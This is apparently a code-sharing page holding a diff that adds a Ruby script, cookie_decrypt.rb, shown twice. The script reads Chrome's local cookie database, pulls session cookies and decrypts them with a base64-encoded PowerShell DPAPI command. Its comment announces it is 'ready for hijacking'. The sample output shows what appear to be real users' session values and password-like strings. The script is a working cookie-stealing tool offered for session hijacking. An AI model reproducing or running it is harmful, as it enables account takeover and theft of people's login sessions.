Ex-Ark · November 14, 2019 16:51 · Ex-Ark · Aug 9, 2022
diff --git a/cookie_decrypt.rb b/cookie_decrypt.rb
 require 'base64'
 require 'sqlite3'
 require 'uri'

 app_data_location = `echo %appdata%`
 db = SQLite3::Database.new "#{app_data_location}\\..\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"

 # make your own request and filters here
 res = db.execute "select host_key,name,encrypted_value from cookies WHERE name LIKE '%session%'"

 res.each do |cookie|
 host_key = cookie[0]
 name = cookie[1]
 encrypted = cookie[2]

 cmd = "Add-Type -AssemblyName System.Security
 $cookieAsEncryptedBytes = [byte]#{encrypted.bytes.join(',')}
 $cookieAsBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($cookieAsEncryptedBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
 $cookie = [System.Text.Encoding]::ASCII.GetString($cookieAsBytes)
 $cookie"

 encoded_cmd = Base64.strict_encode64(cmd.encode('utf-16le'))
 decrypted = `powershell.exe -encodedCommand #{encoded_cmd}`
 puts "#{host_key} : #{name} => #{URI::decode decrypted}"
 end

 # example output
 # www.sentrifugo.com : session_alive => ppWZnak=
 # www.sentrifugo.com : user_session_data => [email protected]$$$likadi9195$$$
 # lesnumeriques.com : af_session => {"visitorId":"1573643138598865","sessionId":1,...}

 # ready for hijacking !
	require 'base64'
	require 'sqlite3'
	require 'uri'

	app_data_location = `echo %appdata%`
	db = SQLite3::Database.new "#{app_data_location}\\..\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"

	# make your own request and filters here
	res = db.execute "select host_key,name,encrypted_value from cookies WHERE name LIKE '%session%'"

	res.each do \|cookie\|
	host_key = cookie[0]
	name = cookie[1]
	encrypted = cookie[2]

	cmd = "Add-Type -AssemblyName System.Security
	$cookieAsEncryptedBytes = [byte]#{encrypted.bytes.join(',')}
	$cookieAsBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($cookieAsEncryptedBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
	$cookie = [System.Text.Encoding]::ASCII.GetString($cookieAsBytes)
	$cookie"

	encoded_cmd = Base64.strict_encode64(cmd.encode('utf-16le'))
	decrypted = `powershell.exe -encodedCommand #{encoded_cmd}`
	puts "#{host_key} : #{name} => #{URI::decode decrypted}"
	end

	# example output
	# www.sentrifugo.com : session_alive => ppWZnak=
	# www.sentrifugo.com : user_session_data => [email protected]$$$likadi9195$$$
	# lesnumeriques.com : af_session => {"visitorId":"1573643138598865","sessionId":1,...}

	# ready for hijacking !